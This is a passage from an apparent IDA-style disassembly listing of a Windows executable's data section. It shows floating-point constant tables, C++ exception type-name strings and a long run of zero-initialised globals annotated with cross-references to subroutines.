4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_452840 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4344A0+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_4529A0 dd offset off_439020 ; DATA XREF: .nsp0:off_439048o ; .nsp0:00439174o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_4529B8 dd offset off_439020 ; DATA XREF: .nsp0:off_439060o ; .nsp0:004390A4o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_4529D8 dd offset off_439020 ; DATA XREF: .nsp0:off_4390B0o ; .nsp0:004390F4o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_4529F8 dd offset off_439020 ; DATA XREF: .nsp0:off_439100o ; .nsp0:00439144o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_452A18 dd offset off_439020 ; DATA XREF: .nsp0:off_439180o ; .nsp0:004391BCo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42DDD0 align 8 dword_452A38 dd 2 dup(0) ; DATA XREF: sub_401317+C8o dword_452A40 dd 2 dup(0) ; DATA XREF: sub_401317+62o dword_452A48 dd 0 ; DATA XREF: sub_40141B+38Co ; sub_401CC1+725o ... dd 5 dup(0) dword_452A60 dd 0 ; DATA XREF: sub_401CC1+8AAr ; sub_414492+60r dd 2D9h dup(0) dword_4535C8 dd 0 ; DATA XREF: sub_401CC1+562Ar ; sub_401CC1+5724r ... dd 7Fh dup(0) dword_4537C8 dd 0 ; DATA XREF: sub_40A7FD+41w ; sub_40A938+40w ... dword_4537CC dd 0 ; DATA XREF: sub_40A7FD+47w ; sub_40A938+46w ... dword_4537D0 dd 0 ; DATA XREF: sub_40A7FD+52w ; sub_40A938+3Ar ... dword_4537D4 dd 0 ; DATA XREF: sub_401317+Cr ; sub_4019E1+B9w ... dword_4537D8 dd 0 ; DATA XREF: sub_40A938+75r ; sub_40AB19+2Aw ... dword_4537DC dd 0 ; DATA XREF: sub_40141B+3D8w ; sub_40141B+450w ... byte_4537E0 db 0 ; DATA XREF: sub_4019E1+91o ; sub_401CC1+5578r ... align 4 dd 79Bh dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: .nsp0:00451F30o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: .nsp0:00451F38o dd 73Bh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: .nsp0:off_44EFB0o dd 37C0h dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: .nsp0:00452274o dd 3FFFh dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: .nsp0:00452090o dd 7D3Eh dup(0) db 3 dup(0) byte_494843 db 0 ; DATA XREF: .nsp0:off_440DFCo dd 27Fh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: .nsp0:004520F0o dd 8000h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .nsp0:off_44F144o dd 3CBEh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: .nsp0:00451FBCo dd 0BFh dup(0) db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: .nsp0:004522A8o dd 1BFh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: .nsp0:004521F8o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: .nsp0:00452114o dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: .nsp0:004522A0o db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: .nsp0:00451F04o ; .nsp0:00451F0Co dd 3B81h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .nsp0:off_44E72Co dd 37Ch dup(0) dword_4D4F44 dd 100h dup(0) ; DATA XREF: .nsp0:004521A0o db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: .nsp0:00451F88o dd 3Fh dup(0) db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: .nsp0:00452098o dd 2C60h dup(0) dword_4E05C8 dd 0 ; DATA XREF: sub_401317+FDw ; sub_40A7FD+13o ... dword_4E05CC dd 0 ; DATA XREF: sub_40141B+3Dw ; sub_401CC1:loc_404214r ... dword_4E05D0 dd 0 ; DATA XREF: sub_40141B:loc_4018F3o dword_4E05D4 dd 20h dup(0) ; DATA XREF: sub_40141B+48Fo ; sub_40141B+529o ... dword_4E0654 dd 10h dup(0) ; DATA XREF: sub_40141B+4A5o dword_4E0694 dd 24h dup(0) ; DATA XREF: sub_40141B+4BCo dword_4E0724 dd 0 ; DATA XREF: sub_40141B+4B0w ; sub_40141B+540w ... dword_4E0728 dd 0 ; DATA XREF: sub_40141B+4CFw dd 3 dup(0) byte_4E0738 db 0 ; DATA XREF: sub_401B49+28r ; sub_401B49+30o align 4 byte_4E073C db 0 ; DATA XREF: sub_40141B:loc_40197Dr ; sub_40141B+570o align 10h dword_4E0740 dd 0 ; DATA XREF: sub_40141B+586o dword_4E0744 dd 0 ; DATA XREF: sub_40141B+598o dword_4E0748 dd 0 ; DATA XREF: sub_40141B+4DDw ; sub_40141B+4F4r ... dword_4E074C dd 0 ; DATA XREF: sub_40141B+494w ; sub_401CC1+820r dword_4E0750 dd 0 ; DATA XREF: .nsp0:0043A268o dword_4E0754 dd 0 ; DATA XREF: .nsp0:0043C69Co dword_4E0758 dd 0 ; DATA XREF: sub_40141B+24Ao dword_4E075C dd 0 ; DATA XREF: sub_401CC1+7018o dword_4E0760 dd 0 ; DATA XREF: sub_401CC1+1E73o dword_4E0764 dd 0 ; DATA XREF: sub_401CC1+1A21o dword_4E0768 dd 0 ; DATA XREF: sub_401CC1+3B18o dword_4E076C dd 0 ; DATA XREF: sub_401CC1+539Do dword_4E0770 dd 0 ; DATA XREF: sub_408F54+44Dw ; sub_408F54+491r dword_4E0774 dd 0 ; DATA XREF: sub_408F54+65w ; sub_4175DD+166r dword_4E0778 dd 0 ; DATA XREF: sub_408F54+7B1w ; sub_408F54+826r ... dword_4E077C dd 0 ; DATA XREF: sub_408F54+97Ew ; sub_408F54+9E9r ... dword_4E0780 dd 0 ; DATA XREF: sub_408F54+930w ; sub_408F54+9B9r ... dword_4E0784 dd 0 ; DATA XREF: sub_408F54+433w ; sub_408F54+481r dword_4E0788 dd 0 ; DATA XREF: sub_408F54+971w ; sub_408F54+9E1r ... dword_4E078C dd 0 ; DATA XREF: sub_408F54+318w ; sub_408F54+36Dr ... dword_4E0790 dd 0 ; DATA XREF: sub_408F54+3B5w ; sub_41897B+11Er dword_4E0794 dd 0 ; DATA XREF: sub_408F54+325w ; sub_408F54+375r ... dword_4E0798 dd 0 ; DATA XREF: sub_408F54+366w ; sub_416BCB+ADr dword_4E079C dd 0 ; DATA XREF: sub_408F54+500w ; sub_40EBF0+115r ... dword_4E07A0 dd 0 ; DATA XREF: sub_408F54+72w ; sub_408F54+D2r ... dword_4E07A4 dd 0 ; DATA XREF: sub_408F54+923w ; sub_408F54+9ACr ... dword_4E07A8 dd 0 ; DATA XREF: sub_408F54+34Cw ; sub_408F54+38Dr ... dword_4E07AC dd 0 ; DATA XREF: sub_408F54+7FFw ; sub_408F54+852r dword_4E07B0 dd 0 ; DATA XREF: sub_408F54+24Bw ; sub_408F54+296r ... dword_4E07B4 dd 0 ; DATA XREF: sub_408F54+7F2w ; sub_408F54+84Ar ... dword_4E07B8 dd 0 ; DATA XREF: sub_408F54+B3w dword_4E07BC dd 0 ; DATA XREF: sub_408F54+80Cw ; sub_408F54+85Ar ... dword_4E07C0 dd 0 ; DATA XREF: sub_408F54+4F3w ; sub_408F54+676r ... dword_4E07C4 dd 0 ; DATA XREF: sub_408F54+58w ; sub_408F54+CAr ... dword_4E07C8 dd 0 ; DATA XREF: sub_408F54+8DAw ; sub_40AA45+16o ... dword_4E07CC dd 0 ; DATA XREF: sub_401CC1:loc_403C4Er ; sub_408F54+A3Bw ... dword_4E07D0 dd 0 ; DATA XREF: sub_408F54+A6w ; sub_408F54+F2r dword_4E07D4 dd 0 ; DATA XREF: sub_408F54+426w ; sub_408F54+479r dword_4E07D8 dd 0 ; DATA XREF: sub_408F54+59Cw ; sub_40B6A2+20r ... dword_4E07DC dd 0 ; DATA XREF: sub_408F54+964w ; sub_408F54+9D9r dword_4E07E0 dd 0 ; DATA XREF: sub_408F54+58Fw ; sub_408F54+6FAr dword_4E07E4 dd 0 ; DATA XREF: sub_408F54+9B2w dword_4E07E8 dd 0 ; DATA XREF: sub_408F54+AF6w dword_4E07EC dd 0 ; DATA XREF: sub_408F54+7A4w ; sub_408F54+813r dword_4E07F0 dd 0 ; DATA XREF: sub_408F54+1B3w ; sub_416138+15r dword_4E07F4 dd 0 ; DATA XREF: sub_408F54+93Dw ; sub_408F54+9C1r ... dword_4E07F8 dd 0 ; DATA XREF: sub_408F54+332w ; sub_408F54+37Dr ... dword_4E07FC dd 0 ; DATA XREF: sub_408F54+33Fw ; sub_408F54+385r ... dword_4E0800 dd 0 ; DATA XREF: sub_408F54+652w ; sub_4102D1+D0r dword_4E0804 dd 0 ; DATA XREF: sub_401317+1Dr ; sub_401317+23r ... dword_4E0808 dd 0 ; DATA XREF: sub_408F54+45Aw dword_4E080C dd 0 ; DATA XREF: sub_408F54+98Bw ; sub_408F54+9F1r ... dword_4E0810 dd 0 ; DATA XREF: sub_401000+51r ; sub_408F54+258w ... dword_4E0814 dd 0 ; DATA XREF: sub_408F54+7Fw ; sub_408F54+DAr ... dword_4E0818 dd 0 ; DATA XREF: sub_401CC1+50E1r ; sub_401CC1+6C58r ... dword_4E081C dd 0 ; DATA XREF: sub_40141B+8Cr ; sub_401CC1+48D8r ... dword_4E0820 dd 0 ; DATA XREF: sub_408F54+7CBw ; sub_408F54+836r dword_4E0824 dd 0 ; DATA XREF: sub_408F54+94Aw ; sub_408F54+9C9r dword_4E0828 dd 0 ; DATA XREF: sub_408F54+BB4w ; sub_408F54+BE5r dword_4E082C dd 0 ; DATA XREF: sub_408F54+272w ; sub_4162E2+47r dword_4E0830 dd 0 ; DATA XREF: sub_408F54+8C0w ; sub_408F54+8D4r ... dword_4E0834 dd 0 ; DATA XREF: sub_408F54+BCEw dword_4E0838 dd 0 ; DATA XREF: sub_408F54+27Fw ; sub_4162E2+4Fr dword_4E083C dd 0 ; DATA XREF: sub_408F54+51Aw ; sub_408F54+68Er ... dword_4E0840 dd 0 ; DATA XREF: sub_408F54+7E5w ; sub_408F54+819r dword_4E0844 dd 0 ; DATA XREF: sub_408F54+172w ; sub_408F54+1C2r dword_4E0848 dd 0 ; DATA XREF: sub_401CC1+1963r ; sub_401CC1+529Ar ... dword_4E084C dd 0 ; DATA XREF: sub_4019E1+C4r ; sub_401CC1+4962r ... dword_4E0850 dd 0 ; DATA XREF: sub_408F54+50Dw ; sub_408F54+682r ... dword_4E0854 dd 0 ; DATA XREF: sub_408F54+881w ; sub_408F54:loc_4097F3w ... dword_4E0858 dd 0 ; DATA XREF: sub_401000+26r ; sub_408F54+231w ... dword_4E085C dd 0 ; DATA XREF: sub_401CC1+6BD7r ; sub_408F54+645w ... dword_4E0860 dd 0 ; DATA XREF: sub_408F54+2D3w ; sub_408F54+2E7r ... dword_4E0864 dd 0 ; DATA XREF: sub_408F54+359w ; sub_408F54+395r ... dword_4E0868 dd 0 ; DATA XREF: sub_408F54+BA7w ; sub_408F54+BDDr dword_4E086C dd 0 ; DATA XREF: sub_408F54+7BEw ; sub_408F54+82Er dword_4E0870 dd 0 ; DATA XREF: sub_408F54+18Cw ; sub_408F54+1D2r ... dword_4E0874 dd 0 ; DATA XREF: sub_408F54+7D8w ; sub_408F54+83Er dword_4E0878 dd 0 ; DATA XREF: sub_408F54+5CAw ; sub_408F54+71Ar ... dword_4E087C dd 0 ; DATA XREF: sub_401000+5Ar ; sub_408F54+265w ... dword_4E0880 dd 0 ; DATA XREF: sub_408F54+611w ; sub_408F54+742r ... dword_4E0884 dd 0 ; DATA XREF: sub_408F54+2C6w ; sub_408F54+2DAr ... dword_4E0888 dd 0 ; DATA XREF: sub_408F54+5EAw ; sub_408F54+72Ar ... dword_4E088C dd 0 ; DATA XREF: sub_408F54+3F2w ; sub_408F54+454r dword_4E0890 dd 0 ; DATA XREF: sub_408F54+199w ; sub_408F54+1DAr ... dword_4E0894 dd 0 ; DATA XREF: sub_408F54+30Bw ; sub_408F54+360r ... dword_4E0898 dd 0 ; DATA XREF: sub_408F54+A48w dword_4E089C dd 0 ; DATA XREF: sub_408F54+582w ; sub_408F54+6EEr ... dword_4E08A0 dd 0 ; DATA XREF: sub_4019E1+3Er ; sub_401CC1+4914r ... dword_4E08A4 dd 0 ; DATA XREF: sub_408F54+4Bw ; sub_408F54+C2r ... dword_4E08A8 dd 0 ; DATA XREF: sub_408F54+419w ; sub_408F54+471r dword_4E08AC dd 0 ; DATA XREF: sub_408F54+165w ; sub_408F54+1BAr ... dword_4E08B0 dd 0 ; DATA XREF: sub_408F54+9A5w ; sub_408F54+A01r ... dword_4E08B4 dd 0 ; DATA XREF: sub_408F54+62Bw ; sub_408F54+752r ... dword_4E08B8 dd 0 ; DATA XREF: sub_401B49+D1r ; sub_401CC1+4977r ... dword_4E08BC dd 0 ; DATA XREF: sub_408F54+BC1w ; sub_408F54+BEDr dword_4E08C0 dd 0 ; DATA XREF: sub_408F54+3Ew ; sub_408F54+BAr ... dword_4E08C4 dd 0 ; DATA XREF: sub_401000+45r ; sub_408F54+23Ew ... dword_4E08C8 dd 0 ; DATA XREF: sub_408F54+5F7w ; sub_408F54+732r ... dword_4E08CC dd 0 ; DATA XREF: sub_408F54+5DDw ; sub_408F54+722r ... dword_4E08D0 dd 0 ; DATA XREF: sub_408F54+81Fw ; sub_414A1D+4DCr dword_4E08D4 dd 0 ; DATA XREF: sub_408F54+112w dword_4E08D8 dd 0 ; DATA XREF: sub_408F54+B8Dw ; sub_408F54+BC8r dword_4E08DC dd 0 ; DATA XREF: sub_401CC1+2A44r ; sub_401CC1+5753r ... dword_4E08E0 dd 0 ; DATA XREF: sub_408F54+3FFw ; sub_408F54+461r dword_4E08E4 dd 0 ; DATA XREF: sub_408F54+440w ; sub_408F54+489r dword_4E08E8 dd 0 ; DATA XREF: sub_408F54+40Cw ; sub_408F54+469r dword_4E08EC dd 0 ; DATA XREF: sub_401B49+89r ; sub_401CC1+4994r ... dword_4E08F0 dd 0 ; DATA XREF: sub_408F54+1A6w ; sub_408F54+1E2r ... dword_4E08F4 dd 0 ; DATA XREF: sub_408F54+998w ; sub_408F54+9F9r ... dword_4E08F8 dd 0 ; DATA XREF: sub_408F54+158w ; sub_408F54+1ADr ... dword_4E08FC dd 0 ; DATA XREF: sub_408F54+8Cw ; sub_408F54+E2r ... dword_4E0900 dd 0 ; DATA XREF: sub_408F54+5B6w ; sub_408F54+70Ar ... dword_4E0904 dd 0 ; DATA XREF: sub_408F54+AE9w ; sub_408F54+B05r dword_4E0908 dd 0 ; DATA XREF: sub_408F54+2E0w ; sub_417572+55r dword_4E090C dd 0 ; DATA XREF: sub_408F54+224w ; sub_408F54+279r ... dword_4E0910 dd 0 ; DATA XREF: sub_408F54+B50w dword_4E0914 dd 0 ; DATA XREF: sub_408F54+A92w ; sub_409F35+D4r dword_4E0918 dd 0 ; DATA XREF: sub_408F54+A85w ; sub_408F54+A8Cr ... dword_4E091C dd 0 ; DATA XREF: sub_4019E1+A6r ; sub_401CC1+48F3r ... dword_4E0920 dd 0 ; DATA XREF: sub_401CC1+48E5r ; sub_401CC1+6BFEr ... dword_4E0924 dd 0 ; DATA XREF: sub_408F54+B9Aw ; sub_408F54+BD5r dword_4E0928 dd 0 ; DATA XREF: sub_401CC1+1989r ; sub_401CC1+52C0r ... dword_4E092C dd 0 ; DATA XREF: sub_408F54+957w ; sub_408F54+9D1r ... dword_4E0930 dd 0 ; DATA XREF: sub_408F54+604w ; sub_408F54+73Ar ... dword_4E0934 dd 0 ; DATA XREF: sub_401317+12r ; sub_4019E1+D0r ... dword_4E0938 dd 0 ; DATA XREF: sub_408F54+541w ; sub_408F54+6B2r ... dword_4E093C dd 0 ; DATA XREF: sub_408F54+ADCw ; sub_408F54+AFDr dword_4E0940 dd 0 ; DATA XREF: sub_408F54+4E6w ; sub_408F54+66Ar ... dword_4E0944 dd 0 ; DATA XREF: sub_408F54+ACFw ; sub_408F54+AF0r dword_4E0948 dd 0 ; DATA XREF: sub_40141B+52r ; sub_408F54+31w ... dword_4E094C dd 0 ; DATA XREF: sub_408F54+17Fw ; sub_408F54+1CAr dd 0 dword_4E0954 dd 0 ; DATA XREF: sub_408F54+8CDw ; sub_408F54+8E1r ... dword_4E0958 dd 0 ; DATA XREF: sub_408F54+99w ; sub_408F54+EAr ... dword_4E095C dd 0 ; DATA XREF: sub_408F54:loc_409052w ; sub_408F54+12Bw ... dword_4E0960 dd 0 ; DATA XREF: sub_408F54+126w ; sub_409B6C+1Cr dword_4E0964 dd 0 ; DATA XREF: sub_408F54:loc_40914Fw ; sub_409B6C:loc_409BB4r dword_4E0968 dd 0 ; DATA XREF: sub_408F54+1F6w ; sub_409B6C+50r dword_4E096C dd 0 ; DATA XREF: sub_40141B+346r ; sub_401CC1+3CE2r ... dword_4E0970 dd 0 ; DATA XREF: sub_408F54+3C4w ; sub_409B6C+84r dword_4E0974 dd 0 ; DATA XREF: sub_408F54:loc_4093FEw ; sub_409B6C:loc_409C1Cr dword_4E0978 dd 0 ; DATA XREF: sub_408F54+4A5w ; sub_409B6C+B8r dword_4E097C dd 0 ; DATA XREF: sub_408F54:loc_4096CFw ; sub_409B6C:loc_409C50r dword_4E0980 dd 0 ; DATA XREF: sub_408F54+776w ; sub_409B6C+ECr dword_4E0984 dd 0 ; DATA XREF: sub_408F54:loc_4097BAw ; sub_408F54+895w ... dword_4E0988 dd 0 ; DATA XREF: sub_408F54+890w ; sub_409B6C+120r dword_4E098C dd 0 ; DATA XREF: sub_401CC1:loc_4068D3r ; sub_408F54:loc_40984Ew ... dword_4E0990 dd 0 ; DATA XREF: sub_408F54+8F5w ; sub_409B6C+154r dword_4E0994 dd 0 ; DATA XREF: sub_401CC1+3CEAr ; sub_408F54:loc_40996Aw ... dword_4E0998 dd 0 ; DATA XREF: sub_408F54+A11w ; sub_409B6C+188r dword_4E099C dd 0 ; DATA XREF: sub_408F54:loc_4099B4w ; sub_409B6C:loc_409D20r dword_4E09A0 dd 0 ; DATA XREF: sub_408F54+A5Bw ; sub_409B6C+1BCr dword_4E09A4 dd 0 ; DATA XREF: sub_408F54:loc_4099FEw ; sub_409B6C:loc_409D54r dword_4E09A8 dd 0 ; DATA XREF: sub_408F54+AA5w ; sub_409B6C+1F0r dword_4E09AC dd 0 ; DATA XREF: sub_408F54:loc_409A72w ; sub_409B6C:loc_409D88r dword_4E09B0 dd 0 ; DATA XREF: sub_408F54+B19w ; sub_409B6C+224r dword_4E09B4 dd 0 ; DATA XREF: sub_408F54:loc_409ABCw ; sub_409B6C:loc_409DBCr dword_4E09B8 dd 0 ; DATA XREF: sub_408F54+B63w ; sub_409B6C+258r dword_4E09BC dd 0 ; DATA XREF: sub_408F54:loc_409B5Aw ; sub_409B6C:loc_409DF0r dword_4E09C0 dd 0 ; DATA XREF: sub_408F54+C01w ; sub_409B6C+28Cr dd 2 dup(0) dword_4E09CC dd 5 dup(0) ; DATA XREF: sub_40A019+32o dword_4E09E0 dd 2 dup(0) ; DATA XREF: .nsp0:00409E74o dword_4E09E8 dd 0 ; DATA XREF: .nsp0:0040A356o dword_4E09EC dd 0 ; DATA XREF: sub_40A44E+33o dword_4E09F0 dd 0 ; DATA XREF: sub_40A44E+63o byte_4E09F4 db 0 ; DATA XREF: sub_40A6F6+6Ar ; sub_40A6F6+98w align 10h dword_4E0A00 dd 0 ; DATA XREF: sub_40B155+18r ; sub_40B6EA+92w ... dword_4E0A04 dd 0 ; DATA XREF: sub_40B9F0+4Dr ; sub_40BC04+D9w ... dd 7FEh dup(0) dword_4E2A00 dd 6 dup(0) ; DATA XREF: sub_40B9F0+CFo ; sub_40B9F0+138o ... dword_4E2A18 dd 0 ; DATA XREF: sub_40B1CC+2C4w ; sub_40B1CC+348o dword_4E2A1C dd 0 ; DATA XREF: sub_40B1CC+33Ew ; sub_40B1CC+35Ar dword_4E2A20 dd 0 ; DATA XREF: sub_40B1CC+2CFw dword_4E2A24 dd 0 ; DATA XREF: sub_40B1CC+2B9w ; sub_40B1CC:loc_40B4E1r dword_4E2A28 dd 20h dup(0) ; DATA XREF: sub_40B1CC+2E2o ; sub_40B1CC+302o dword_4E2AA8 dd 0 ; DATA XREF: sub_40B1CC+2D5w dword_4E2AAC dd 0 ; DATA XREF: sub_40B1CC+2EFw ; sub_40B1CC+30Fw dword_4E2AB0 dd 0 ; DATA XREF: sub_40B1CC:loc_40B53Cr align 8 dword_4E2AB8 dd 0 ; DATA XREF: sub_40B1CC+82w ; sub_40B1CC+101o dword_4E2ABC dd 41h dup(0) ; DATA XREF: sub_40B1CC+41o dword_4E2BC0 dd 41h dup(0) ; DATA XREF: sub_40B1CC+69o dword_4E2CC4 dd 0 ; DATA XREF: sub_40B1CC+F7w ; sub_40B1CC+113r dword_4E2CC8 dd 0 ; DATA XREF: sub_40B1CC+52w dword_4E2CCC dd 0 ; DATA XREF: sub_40B1CC+4Dw ; sub_40B1CC+D4r dword_4E2CD0 dd 20h dup(0) ; DATA XREF: sub_40B1CC+9Ao ; sub_40B1CC+BAo dword_4E2D50 dd 0 ; DATA XREF: sub_40B1CC+8Fw dword_4E2D54 dd 0 ; DATA XREF: sub_40B1CC+A7w ; sub_40B1CC+C7w dword_4E2D58 dd 0 ; DATA XREF: sub_40B1CC:loc_40B2F5r align 10h dword_4E2D60 dd 0 ; DATA XREF: sub_40B1CC+1A5w ; sub_40B1CC+225o dword_4E2D64 dd 41h dup(0) ; DATA XREF: sub_40B1CC+167o dword_4E2E68 dd 41h dup(0) ; DATA XREF: sub_40B1CC+18Co dword_4E2F6C dd 0 ; DATA XREF: sub_40B1CC+21Bw ; sub_40B1CC+237r dword_4E2F70 dd 0 ; DATA XREF: sub_40B1CC+17Aw dword_4E2F74 dd 0 ; DATA XREF: sub_40B1CC+175w ; sub_40B1CC+1F8r dword_4E2F78 dd 20h dup(0) ; DATA XREF: sub_40B1CC+1BEo ; sub_40B1CC+1DEo dword_4E2FF8 dd 0 ; DATA XREF: sub_40B1CC+1B1w dword_4E2FFC dd 0 ; DATA XREF: sub_40B1CC+1CBw ; sub_40B1CC+1EBw dword_4E3000 dd 0 ; DATA XREF: sub_40B1CC:loc_40B419r align 8 dword_4E3008 dd 0 ; DATA XREF: sub_40B1CC+417w ; sub_40B1CC+470o dword_4E300C dd 0A2h dup(0) ; DATA XREF: sub_40B1CC+405o dword_4E3294 dd 41h dup(0) ; DATA XREF: sub_40B1CC+3CFo dword_4E3398 dd 0 ; DATA XREF: sub_40B1CC+3FCw ; sub_40B1CC+423r align 10h dword_4E33A0 dd 0 ; DATA XREF: sub_40B1CC+466w ; sub_40B1CC+482r dword_4E33A4 dd 0 ; DATA XREF: sub_40B1CC+429w dword_4E33A8 dd 0 ; DATA XREF: sub_40B1CC+436w dword_4E33AC dd 0 ; DATA XREF: sub_40B1CC+3F6w dd 0 dword_4E33B4 dd 0 ; DATA XREF: sub_40B1CC:loc_40B664r dd 0 dword_4E33BC dd 0 ; DATA XREF: sub_40AE1F+Er ; sub_40AE1F+31r ... dword_4E33C0 dd 0 ; DATA XREF: sub_40AE1F+9r ; sub_40AE1F+25r ... dword_4E33C4 dd 82h dup(0) ; DATA XREF: sub_40BE63+8Do dword_4E35CC dd 2 dup(0) ; DATA XREF: sub_40C7FA+68o dword_4E35D4 dd 0 ; DATA XREF: sub_40C29A+13o dword_4E35D8 dd 0 ; DATA XREF: sub_40CAE9+10o dword_4E35DC dd 0 ; DATA XREF: sub_40D370+8w ; sub_40D46C+2D6o dd 0 dword_4E35E4 dd 0 ; DATA XREF: sub_40D46C+64o dword_4E35E8 dd 0 ; DATA XREF: sub_40D46C+69o dword_4E35EC dd 3 dup(0) ; DATA XREF: sub_40D46C+20Co dword_4E35F8 dd 0 ; DATA XREF: .nsp0:0040DE4Bo dword_4E35FC dd 0 ; DATA XREF: sub_40DFCC+1Fr ; sub_40E017+BCo ... dword_4E3600 dd 0 ; DATA XREF: sub_40E017+B7o ; sub_40E017+DAr ... dword_4E3604 dd 0 ; DATA XREF: sub_40E017+9Ao ; sub_40E017+CFr ... dword_4E3608 dd 0 ; DATA XREF: sub_40DF89+35r ; sub_40E017+95o ... dword_4E360C dd 0 ; DATA XREF: sub_40DF89+17r ; sub_40DFCC+3Dr ... dd 0 dword_4E3614 dd 0 ; DATA XREF: sub_40B1CC+2AEr ; sub_40E1EC+10w ... dd 0 dword_4E361C dd 0 ; DATA XREF: sub_40AE8A+1Br ; sub_40E203+27Cw dword_4E3620 dd 0 ; DATA XREF: sub_40EAD9+2Aw ; sub_40EAD9+51r ... align 10h dword_4E3630 dd 3 dup(0) ; DATA XREF: sub_40FBF0+74o dword_4E363C dd 0 ; DATA XREF: sub_4102D1+146r dd 0 dword_4E3644 dd 2 dup(0) ; DATA XREF: sub_4102D1+139o byte_4E364C db 0 ; DATA XREF: sub_4112A8+1EFr align 10h dword_4E3650 dd 0 ; DATA XREF: sub_411725+4w ; sub_411725+9o align 8 byte_4E3658 db 0 ; DATA XREF: sub_41226E+1D3w ; sub_41226E+2D2o align 2 word_4E365A dw 0 ; DATA XREF: sub_41226E+1E3w word_4E365C dw 0 ; DATA XREF: sub_41226E+1E9w word_4E365E dw 0 ; DATA XREF: sub_41226E+1F0w byte_4E3660 db 0 ; DATA XREF: sub_41226E+1F7w byte_4E3661 db 0 ; DATA XREF: sub_41226E+1FEw word_4E3662 dw 0 ; DATA XREF: sub_41226E+204w dword_4E3664 dd 0 ; DATA XREF: sub_41226E+234w ; sub_41226E+250w dword_4E3668 dd 0 ; DATA XREF: sub_41226E+258w byte_4E366C db 0 ; DATA XREF: sub_41226E+26Aw byte_4E366D db 0 ; DATA XREF: sub_41226E+27Dw word_4E366E dw 0 ; DATA XREF: sub_41226E+295w word_4E3670 dw 0 ; DATA XREF: sub_41226E+2A4w word_4E3672 dw 0 ; DATA XREF: sub_41226E+29Cw dword_4E3674 dd 101h dup(0) ; DATA XREF: sub_41226E+2B9o dword_4E3A78 dd 80h dup(0) ; DATA XREF: sub_401CC1+29BAo ; sub_401CC1:loc_40472Ao ... byte_4E3C78 db 0 ; DATA XREF: sub_413B08+19Fw ; sub_413B08+278o align 2 word_4E3C7A dw 0 ; DATA XREF: sub_413B08+1ACw word_4E3C7C dw 0 ; DATA XREF: sub_413B08+1B6w word_4E3C7E dw 0 ; DATA XREF: 